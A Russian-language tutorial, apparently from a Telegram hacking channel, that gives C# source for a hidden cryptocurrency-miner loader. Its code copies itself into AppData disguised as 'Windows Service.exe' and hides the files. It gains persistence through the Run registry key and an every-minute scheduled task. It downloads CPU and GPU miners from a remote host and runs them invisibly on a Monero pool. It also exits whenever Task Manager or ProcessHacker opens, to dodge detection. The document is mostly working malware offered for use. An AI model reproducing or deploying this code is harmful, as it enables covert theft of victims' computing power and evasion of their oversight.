Пишем скрытый майнер-лоадер на C# [BlackCoding]
https://t.me/darkside_team
Привет хацкеры, сегодня будем писать свой майнер-лоадер на шарпе.
Комментарии к коду будут выглядеть так - //комментарий
Приступим!
Создаем проект -> C# -> Консольное приложение (.NET Framework) -> Платформа ".NET Framework 4"
В класс главной программы прописываем следующие строки
Код (C#):
static string dir = Environment.GetEnvironmentVariable("AppData") + "\\Windows Folder"; // Путь к папке где будет храниться майнер static string file = "Windows Service.exe"; // Имя файла майнера
Создаем следующий void, он будет проверять на наличие майнера в папке и копировать его туда в случае отсутствия, так же ставить атрибуты Hidden / System
Код (C#):
static void CopyFile() { try { if (!Directory.Exists(dir)) // Проверка на наличие папки Directory.CreateDirectory(dir); // Если не существует, то создаем if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла майнера в папке File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя } catch { } }
Теперь организуем автозапуск.
Как я считаю делать автозапуск через "Автозагрузку" сейчас чуток палевно, так как это легко отключить в диспетчере.
Но вдруг кому то нужно будет, то вот:
Код (C#):
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true)) key.SetValue("Windows Service", dir + "\\" + file);
Но я буду делать через "Планировщик задач", на запуск каждую минуту (если процесс запущен, то он не будет запускать повторно)
Код (C#):
static void CreateTask() { try { var startInfo = new ProcessStartInfo(); // Создаем процесс startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач startInfo.CreateNoWindow = false; // Скрываем от пользователя startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска Process.Start(startInfo); // Запускаем } catch { } }
Теперь на всякий случай сделаем проверку на повторный запуск
Код (C#):
static Mutex InstanceCheckMutex; static bool InstanceCheck() { bool isNew; InstanceCheckMutex = new Mutex(true, "SMILEFACE", out isNew); return isNew; }
Теперь перейдем к самим майнерам
Сначала реализуем скачивание нужных майнеров под пк
Подключим System.Management
Теперь вставляем данный код, чуток расписал, думаю поймете.
Нужно скачать майнеры для CPU (x32/x64) и GPU (nvidia/amd) и залить их на хост (только .exe файлы (сами майнеры)) -- LINK
static void Download() { string host = @"http://yoursite.com/"; // Ссылка на сайт с майнерами if (!File.Exists(dir + "\\" + "Windows Helper.exe")) // Путь для CPU майнера { try { using (var client = new WebClient()) { if (Environment.Is64BitOperatingSystem) // Проверка на разрядность системы client.DownloadFile(host + "x64.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер else client.DownloadFile(host + "x32.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер } File.SetAttributes(dir + "\\" + "Windows Helper.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя } catch { } } if (!File.Exists(dir + "\\" + "Windows Support.exe")) // Путь для GPU майнера { string gpuname = GpuName(); // Получаем имя видеокарты try { using (var client = new WebClient()) { if ((gpuname.Contains("NVIDIA") || gpuname.Contains("GEFORCE") || gpuname.Contains("nvidia") || gpuname.Contains("geforce"))) // Пытаемся чекнуть от кого видеокарта client.DownloadFile(host + "nvidia.exe", dir + "\\" + "Windows Support.exe"); if (gpuname.Contains("AMD") || gpuname.Contains("amd")) client.DownloadFile(host + "amd.exe", dir + "\\" + "Windows Support.exe"); } File.SetAttributes(dir + "\\" + "Windows Support.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя } catch { } } } static string GpuName() { try { string gpuName = string.Empty; string query = "SELECT * FROM Win32_DisplayConfiguration"; using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) { foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } } return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A"; } catch { return "Unknown"; } }
Создаем 2 процесса (один для CPU второй для GPU) и данные для майнера
Код (C#):
static string pool = "stratum+tcp://xmr.pool.minergate.com:45700"; // Пул для майнинга static string mail = "[email protected]"; // Почта от реги на minergate static Process proc; static Process vid;
Теперь делаем строки которые отвечают за запуск и закрытие майнера
static void Start() // Запускаем майнеры { try { proc = Process.Start(new ProcessStartInfo() { FileName = dir + "\\" + "Windows Helper.exe", CreateNoWindow = true, UseShellExecute = false, RedirectStandardOutput = true, WindowStyle = ProcessWindowStyle.Hidden, Arguments = quot;-o {pool} -u {mail} --max-cpu-usage=95 --log-file=null -p x --donate-level=1 --algo=cryptonight" }); } catch { } try { vid = Process.Start(new ProcessStartInfo() { FileName = dir + "\\" + "Windows Support.exe", CreateNoWindow = true, UseShellExecute = false, RedirectStandardOutput = true, WindowStyle = ProcessWindowStyle.Hidden, Arguments = quot;-o {pool} -u {mail} -p x --donate-level=1 --log-file=null" }); } catch { } } static void Stop() // Закрываем процессы майнеров { try { proc.Kill(); } catch { } try { vid.Kill(); } catch { } }
Теперь делаем скрытие от диспетчеров задач, будем смотреть как и по имени процесс, и по заголовку окна, поэтому пишем
Код (C#):
[DllImport("USER32.DLL", CharSet = CharSet.Unicode)] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
Будем проверять на ProcessHacker и Диспетчер задач (другие можете добавить сами)
Код (C#):
static void LookForTaskMngr() { while (true) { Process[] procs = Process.GetProcesses(); foreach (Process p in procs) { if ((Process.GetProcessesByName("taskmgr").Length > 0 || Process.GetProcessesByName("Taskmgr").Length > 0 || Process.GetProcessesByName("ProcessHacker").Length > 0) || Environment.HasShutdownStarted || FindWindow("", "Task Manager") != IntPtr.Zero || FindWindow("", "Диспетчер задач") != IntPtr.Zero) { Stop(); // Закрываем майнеры Environment.Exit(0); // Закрываемся } } Thread.Sleep(1000); // Как часто проверяем на диспетчеры (1 сек) } }
Ну и все, теперь нужно все это зайдествовать
В void Main вписываем
Код (C#):
CopyFile(); CreateTask(); if (!InstanceCheck()) Environment.Exit(0); Download(); Start(); LookForTaskMngr();
Теперь нужно скрыть наше окно майнера
Сверху нажимаем 'Проект' -> 'Свойства : "Имя проекта"'
Вписываем данные, компилируем, запускаем билд
Создалась задача для автозапуска
Появились файлы
Пошел майнинг
Открываем диспетчер задач, и майнинг прекращается
На этом всё!)
Dark $ide - Твоя Тёмная Сторона
Если хочешь предложить свой контент пиши в бота: @ds_offer_robot